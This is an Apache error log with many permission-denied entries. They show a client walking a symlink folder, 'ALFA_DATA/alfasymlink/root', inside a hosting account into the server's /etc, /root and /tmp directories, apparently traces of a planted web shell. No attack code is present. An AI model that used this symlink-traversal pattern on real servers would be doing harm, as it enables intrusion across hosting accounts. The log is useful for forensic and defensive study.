[Sun Oct 25 14:24:51.581270 2026] [core:crit] [pid 2875825:tid 2875825] (13)Permission denied: [client 76.135.135.39:65094] AH00529: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/etc/audit/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/etc/audit/' is executable
[Sun Oct 25 14:24:51.581529 2026] [core:crit] [pid 2875825:tid 2875825] (13)Permission denied: [client 76.135.135.39:65094] AH00529: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/etc/firewalld/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/etc/firewalld/' is executable
[Sun Oct 25 14:24:51.585595 2026] [core:crit] [pid 2875825:tid 2875825] (13)Permission denied: [client 76.135.135.39:65094] AH00529: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/etc/csf/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/etc/csf/' is executable
[Sun Oct 25 14:24:51.587543 2026] [core:crit] [pid 2875825:tid 2875825] (13)Permission denied: [client 76.135.135.39:65094] AH00529: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/etc/named/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/etc/named/' is executable
[Sun Oct 25 14:24:52.401306 2026] [core:crit] [pid 2875796:tid 2875796] (13)Permission denied: [client 76.135.135.39:65138] AH00529: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/root/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/root/' is executable
[Sun Oct 25 14:24:54.160212 2026] [ssl:error] [pid 2875807:tid 2875807] (70014)End of file found: [client 34.231.181.240:35619] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 14:24:54.506469 2026] [core:crit] [pid 2875796:tid 2875796] (13)Permission denied: [client 76.135.135.39:65417] AH00529: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/usr/local/csf/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/usr/local/csf/' is executable
[Sun Oct 25 14:24:54.965505 2026] [core:crit] [pid 2875821:tid 2875821] (13)Permission denied: [client 76.135.135.39:65514] AH00529: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/tmp/RITwlF8UBX/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/tmp/RITwlF8UBX/' is executable
[Sun Oct 25 14:24:54.965600 2026] [core:crit] [pid 2875821:tid 2875821] (13)Permission denied: [client 76.135.135.39:65514] AH00529: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/tmp/Xf45g1vOVG/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/tmp/Xf45g1vOVG/' is executable
[Sun Oct 25 14:24:54.965627 2026] [core:crit] [pid 2875821:tid 2875821] (13)Permission denied: [client 76.135.135.39:65514] AH00529: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/tmp/systemd-private-066a78cff7bb4934b629849340394ebb-pdns.service-2seL3t/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/tmp/systemd-private-066a78cff7bb4934b629849340394ebb-pdns.service-2seL3t/' is executable
[Sun Oct 25 14:24:54.965660 2026] [core:crit] [pid 2875821:tid 2875821] (13)Permission denied: [client 76.135.135.39:65514] AH00529: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/tmp/systemd-private-deb758657a9446d7ad3cee5e2a6a684f-chronyd.service-vWPoWj/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/tmp/systemd-private-deb758657a9446d7ad3cee5e2a6a684f-chronyd.service-vWPoWj/' is executable
[Sun Oct 25 14:24:54.965727 2026] [core:crit] [pid 2875821:tid 2875821] (13)Permission denied: [client 76.135.135.39:65514] AH00529: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/tmp/n83SSM739h/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/tmp/n83SSM739h/' is executable
[Sun Oct 25 14:24:54.965778 2026] [core:crit] [pid 2875821:tid 2875821] (13)Permission denied: [client 76.135.135.39:65514] AH00529: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/tmp/6kbL1XuIiD/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/tmp/6kbL1XuIiD/' is executable
[Sun Oct 25 14:24:54.965796 2026] [core:crit] [pid 2875821:tid 2875821] (13)Permission denied: [client 76.135.135.39:65514] AH00529: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/tmp/systemd-private-5a7b83e3ac9b4700bd5cd3c0a8582662-chronyd.service-wcLs6B/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/tmp/systemd-private-5a7b83e3ac9b4700bd5cd3c0a8582662-chronyd.service-wcLs6B/' is executable
[Sun Oct 25 14:24:54.965831 2026] [core:crit] [pid 2875821:tid 2875821] (13)Permission denied: [client 76.135.135.39:65514] AH00529: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/tmp/v7WsvFUVho/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/tmp/v7WsvFUVho/' is executable
[Sun Oct 25 14:24:54.965845 2026] [core:crit] [pid 2875821:tid 2875821] (13)Permission denied: [client 76.135.135.39:65514] AH00529: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/tmp/nnRZJb1Juq/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/tmp/nnRZJb1Juq/' is executable
[Sun Oct 25 14:24:54.965860 2026] [core:crit] [pid 2875821:tid 2875821] (13)Permission denied: [client 76.135.135.39:65514] AH00529: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/tmp/puppeteer_dev_chrome_profile-hhMbCm/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/tmp/puppeteer_dev_chrome_profile-hhMbCm/' is executable
[Sun Oct 25 14:24:54.965883 2026] [core:crit] [pid 2875821:tid 2875821] (13)Permission denied: [client 76.135.135.39:65514] AH00529: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/tmp/systemd-private-66b9544970e444e28f4116453fcc8ef9-ea-php81-php-fpm.service-OgoCey/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/tmp/systemd-private-66b9544970e444e28f4116453fcc8ef9-ea-php81-php-fpm.service-OgoCey/' is executable
[Sun Oct 25 14:24:54.965905 2026] [core:crit] [pid 2875821:tid 2875821] (13)Permission denied: [client 76.135.135.39:65514] AH00529: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/tmp/wBeybsLHXV/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/tmp/wBeybsLHXV/' is executable
[Sun Oct 25 14:24:54.965958 2026] [core:crit] [pid 2875821:tid 2875821] (13)Permission denied: [client 76.135.135.39:65514] AH00529: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/tmp/8q2sCydPh5/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/tmp/8q2sCydPh5/' is executable
[Sun Oct 25 14:24:54.965975 2026] [core:crit] [pid 2875821:tid 2875821] (13)Permission denied: [client 76.135.135.39:65514] AH00529: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/tmp/ViFEAD6HYr/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/tmp/ViFEAD6HYr/' is executable
[Sun Oct 25 14:24:54.965987 2026] [core:crit] [pid 2875821:tid 2875821] (13)Permission denied: [client 76.135.135.39:65514] AH00529: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/tmp/WnEC8KZtlU/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/tmp/WnEC8KZtlU/' is executable
[Sun Oct 25 14:24:54.966043 2026] [core:crit] [pid 2875821:tid 2875821] (13)Permission denied: [client 76.135.135.39:65514] AH00529: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/tmp/hNQbPWd2kD/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/tmp/hNQbPWd2kD/' is executable
[Sun Oct 25 14:24:54.966059 2026] [core:crit] [pid 2875821:tid 2875821] (13)Permission denied: [client 76.135.135.39:65514] AH00529: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/tmp/7b1aDEYVIR/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/tmp/7b1aDEYVIR/' is executable
[Sun Oct 25 14:24:54.966072 2026] [core:crit] [pid 2875821:tid 2875821] (13)Permission denied: [client 76.135.135.39:65514] AH00529: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/tmp/nL4cUoX2dh/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/tmp/nL4cUoX2dh/' is executable
[Sun Oct 25 14:24:54.966084 2026] [core:crit] [pid 2875821:tid 2875821] (13)Permission denied: [client 76.135.135.39:65514] AH00529: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/tmp/atbV7hLAQS/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/tmp/atbV7hLAQS/' is executable
[Sun Oct 25 14:24:54.966096 2026] [core:crit] [pid 2875821:tid 2875821] (13)Permission denied: [client 76.135.135.39:65514] AH00529: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/tmp/oq6K0rejFI/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/tmp/oq6K0rejFI/' is executable
[Sun Oct 25 14:24:54.966107 2026] [core:crit] [pid 2875821:tid 2875821] (13)Permission denied: [client 76.135.135.39:65514] AH00529: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/tmp/_4gGxNj1jq/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/tmp/_4gGxNj1jq/' is executable
[Sun Oct 25 14:24:54.966119 2026] [core:crit] [pid 2875821:tid 2875821] (13)Permission denied: [client 76.135.135.39:65514] AH00529: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/tmp/PK7EkDXBbp/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/tmp/PK7EkDXBbp/' is executable
[Sun Oct 25 14:24:54.966131 2026] [core:crit] [pid 2875821:tid 2875821] (13)Permission denied: [client 76.135.135.39:65514] AH00529: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/tmp/P7NdWo184S/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/tmp/P7NdWo184S/' is executable
[Sun Oct 25 14:24:54.966191 2026] [core:crit] [pid 2875821:tid 2875821] (13)Permission denied: [client 76.135.135.39:65514] AH00529: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/tmp/systemd-private-80c69295681241f782d6bee35313cc5c-pdns.service-79Tblx/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/tmp/systemd-private-80c69295681241f782d6bee35313cc5c-pdns.service-79Tblx/' is executable
[Sun Oct 25 14:24:54.966222 2026] [core:crit] [pid 2875821:tid 2875821] (13)Permission denied: [client 76.135.135.39:65514] AH00529: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/tmp/1Yt1W3a9Ze/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/tmp/1Yt1W3a9Ze/' is executable
[Sun Oct 25 14:24:54.966234 2026] [core:crit] [pid 2875821:tid 2875821] (13)Permission denied: [client 76.135.135.39:65514] AH00529: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/tmp/9rQ4cdkNCQ/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/tmp/9rQ4cdkNCQ/' is executable
[Sun Oct 25 14:24:54.966256 2026] [core:crit] [pid 2875821:tid 2875821] (13)Permission denied: [client 76.135.135.39:65514] AH00529: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/tmp/_kkgr6o8ai/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/tmp/_kkgr6o8ai/' is executable
[Sun Oct 25 14:24:54.966267 2026] [core:crit] [pid 2875821:tid 2875821] (13)Permission denied: [client 76.135.135.39:65514] AH00529: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/tmp/xjhoijgaTz/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/tmp/xjhoijgaTz/' is executable
[Sun Oct 25 14:24:54.966278 2026] [core:crit] [pid 2875821:tid 2875821] (13)Permission denied: [client 76.135.135.39:65514] AH00529: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/tmp/vhrRK1JXY7/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/tmp/vhrRK1JXY7/' is executable
[Sun Oct 25 14:24:54.966296 2026] [core:crit] [pid 2875821:tid 2875821] (13)Permission denied: [client 76.135.135.39:65514] AH00529: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/tmp/w1Du8raeKq/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/tmp/w1Du8raeKq/' is executable
[Sun Oct 25 14:24:54.966310 2026] [core:crit] [pid 2875821:tid 2875821] (13)Permission denied: [client 76.135.135.39:65514] AH00529: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/tmp/systemd-private-5a7b83e3ac9b4700bd5cd3c0a8582662-chronyd.service-8mttHT/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/tmp/systemd-private-5a7b83e3ac9b4700bd5cd3c0a8582662-chronyd.service-8mttHT/' is executable
[Sun Oct 25 14:24:54.966323 2026] [core:crit] [pid 2875821:tid 2875821] (13)Permission denied: [client 76.135.135.39:65514] AH00529: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/tmp/4x7GklfLfl/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/tmp/4x7GklfLfl/' is executable
[Sun Oct 25 14:24:54.966337 2026] [core:crit] [pid 2875821:tid 2875821] (13)Permission denied: [client 76.135.135.39:65514] AH00529: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/tmp/Jv_fJ8FgT6/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/tmp/Jv_fJ8FgT6/' is executable
[Sun Oct 25 14:24:54.966370 2026] [core:crit] [pid 2875821:tid 2875821] (13)Permission denied: [client 76.135.135.39:65514] AH00529: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/tmp/aWw1loTP0R/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/tmp/aWw1loTP0R/' is executable
[Sun Oct 25 14:24:54.966385 2026] [core:crit] [pid 2875821:tid 2875821] (13)Permission denied: [client 76.135.135.39:65514] AH00529: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/tmp/systemd-private-deb758657a9446d7ad3cee5e2a6a684f-pdns.service-OPTQiD/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/tmp/systemd-private-deb758657a9446d7ad3cee5e2a6a684f-pdns.service-OPTQiD/' is executable
[Sun Oct 25 14:24:54.966397 2026] [core:crit] [pid 2875821:tid 2875821] (13)Permission denied: [client 76.135.135.39:65514] AH00529: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/tmp/rtyBKWjryj/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/tmp/rtyBKWjryj/' is executable
[Sun Oct 25 14:24:54.966408 2026] [core:crit] [pid 2875821:tid 2875821] (13)Permission denied: [client 76.135.135.39:65514] AH00529: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/tmp/ipRojNggb4/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/tmp/ipRojNggb4/' is executable
[Sun Oct 25 14:24:54.966419 2026] [core:crit] [pid 2875821:tid 2875821] (13)Permission denied: [client 76.135.135.39:65514] AH00529: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/tmp/_NkDK_G3eh/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/tmp/_NkDK_G3eh/' is executable
[Sun Oct 25 14:24:54.966432 2026] [core:crit] [pid 2875821:tid 2875821] (13)Permission denied: [client 76.135.135.39:65514] AH00529: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/tmp/systemd-private-66b9544970e444e28f4116453fcc8ef9-chronyd.service-7hcWfh/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/tmp/systemd-private-66b9544970e444e28f4116453fcc8ef9-chronyd.service-7hcWfh/' is executable
[Sun Oct 25 14:24:54.966443 2026] [core:crit] [pid 2875821:tid 2875821] (13)Permission denied: [client 76.135.135.39:65514] AH00529: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/tmp/kCf6PZ1WYZ/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/tmp/kCf6PZ1WYZ/' is executable
[Sun Oct 25 14:24:54.966461 2026] [core:crit] [pid 2875821:tid 2875821] (13)Permission denied: [client 76.135.135.39:65514] AH00529: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/tmp/84lPUOx2JO/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/tmp/84lPUOx2JO/' is executable
[Sun Oct 25 14:24:54.966496 2026] [core:crit] [pid 2875821:tid 2875821] (13)Permission denied: [client 76.135.135.39:65514] AH00529: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/tmp/js2u_Gtz2I/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/tmp/js2u_Gtz2I/' is executable
[Sun Oct 25 14:24:54.966529 2026] [core:crit] [pid 2875821:tid 2875821] (13)Permission denied: [client 76.135.135.39:65514] AH00529: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/tmp/systemd-private-80c69295681241f782d6bee35313cc5c-ea-php81-php-fpm.service-zjLgk3/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/tmp/systemd-private-80c69295681241f782d6bee35313cc5c-ea-php81-php-fpm.service-zjLgk3/' is executable
[Sun Oct 25 14:24:54.966556 2026] [core:crit] [pid 2875821:tid 2875821] (13)Permission denied: [client 76.135.135.39:65514] AH00529: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/tmp/rqXfNeDxe6/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/tmp/rqXfNeDxe6/' is executable
[Sun Oct 25 14:24:54.966581 2026] [core:crit] [pid 2875821:tid 2875821] (13)Permission denied: [client 76.135.135.39:65514] AH00529: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/tmp/NgqDY1QDQC/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/tmp/NgqDY1QDQC/' is executable
[Sun Oct 25 14:24:54.966604 2026] [core:crit] [pid 2875821:tid 2875821] (13)Permission denied: [client 76.135.135.39:65514] AH00529: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/tmp/S6oGysmQfR/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/tmp/S6oGysmQfR/' is executable
[Sun Oct 25 14:24:54.966628 2026] [core:crit] [pid 2875821:tid 2875821] (13)Permission denied: [client 76.135.135.39:65514] AH00529: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/tmp/ssmTYfkWmO/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/tmp/ssmTYfkWmO/' is executable
[Sun Oct 25 14:24:54.966648 2026] [core:crit] [pid 2875821:tid 2875821] (13)Permission denied: [client 76.135.135.39:65514] AH00529: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/tmp/9Hdweni0LQ/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/tmp/9Hdweni0LQ/' is executable
[Sun Oct 25 14:24:54.966661 2026] [core:crit] [pid 2875821:tid 2875821] (13)Permission denied: [client 76.135.135.39:65514] AH00529: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/tmp/ZS9bRKE_ln/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/tmp/ZS9bRKE_ln/' is executable
[Sun Oct 25 14:24:54.966675 2026] [core:crit] [pid 2875821:tid 2875821] (13)Permission denied: [client 76.135.135.39:65514] AH00529: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/tmp/TI_LDuVRZp/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/tmp/TI_LDuVRZp/' is executable
[Sun Oct 25 14:24:54.966693 2026] [core:crit] [pid 2875821:tid 2875821] (13)Permission denied: [client 76.135.135.39:65514] AH00529: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/tmp/HRDPmHzdRv/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/tmp/HRDPmHzdRv/' is executable
[Sun Oct 25 14:24:54.966706 2026] [core:crit] [pid 2875821:tid 2875821] (13)Permission denied: [client 76.135.135.39:65514] AH00529: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/tmp/WJiRaJProP/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/tmp/WJiRaJProP/' is executable
[Sun Oct 25 14:24:54.966729 2026] [core:crit] [pid 2875821:tid 2875821] (13)Permission denied: [client 76.135.135.39:65514] AH00529: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/tmp/VWx0oIa_ha/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/tmp/VWx0oIa_ha/' is executable
[Sun Oct 25 14:24:54.966751 2026] [core:crit] [pid 2875821:tid 2875821] (13)Permission denied: [client 76.135.135.39:65514] AH00529: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/tmp/systemd-private-5a7b83e3ac9b4700bd5cd3c0a8582662-ea-php81-php-fpm.service-ZhRwWT/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/tmp/systemd-private-5a7b83e3ac9b4700bd5cd3c0a8582662-ea-php81-php-fpm.service-ZhRwWT/' is executable
[Sun Oct 25 14:24:54.966764 2026] [core:crit] [pid 2875821:tid 2875821] (13)Permission denied: [client 76.135.135.39:65514] AH00529: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/tmp/pulse-PKdhtXMmr18n/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/tmp/pulse-PKdhtXMmr18n/' is executable
[Sun Oct 25 14:24:54.966777 2026] [core:crit] [pid 2875821:tid 2875821] (13)Permission denied: [client 76.135.135.39:65514] AH00529: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/tmp/xim55mZdmP/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/tmp/xim55mZdmP/' is executable
[Sun Oct 25 14:24:54.966807 2026] [core:crit] [pid 2875821:tid 2875821] (13)Permission denied: [client 76.135.135.39:65514] AH00529: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/tmp/3RwJFJrH4V/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/tmp/3RwJFJrH4V/' is executable
[Sun Oct 25 14:24:54.966839 2026] [core:crit] [pid 2875821:tid 2875821] (13)Permission denied: [client 76.135.135.39:65514] AH00529: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/tmp/6mRamnU6vq/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/tmp/6mRamnU6vq/' is executable
[Sun Oct 25 14:24:54.966856 2026] [core:crit] [pid 2875821:tid 2875821] (13)Permission denied: [client 76.135.135.39:65514] AH00529: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/tmp/systemd-private-80c69295681241f782d6bee35313cc5c-chronyd.service-q3gB5i/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/tmp/systemd-private-80c69295681241f782d6bee35313cc5c-chronyd.service-q3gB5i/' is executable
[Sun Oct 25 14:24:54.966869 2026] [core:crit] [pid 2875821:tid 2875821] (13)Permission denied: [client 76.135.135.39:65514] AH00529: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/tmp/QY6TdlpePz/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/tmp/QY6TdlpePz/' is executable
[Sun Oct 25 14:24:54.966900 2026] [core:crit] [pid 2875821:tid 2875821] (13)Permission denied: [client 76.135.135.39:65514] AH00529: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/tmp/5EdmaNv2PN/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/tmp/5EdmaNv2PN/' is executable
[Sun Oct 25 14:24:54.966916 2026] [core:crit] [pid 2875821:tid 2875821] (13)Permission denied: [client 76.135.135.39:65514] AH00529: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/tmp/systemd-private-5a7b83e3ac9b4700bd5cd3c0a8582662-pdns.service-MpBBHk/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/tmp/systemd-private-5a7b83e3ac9b4700bd5cd3c0a8582662-pdns.service-MpBBHk/' is executable
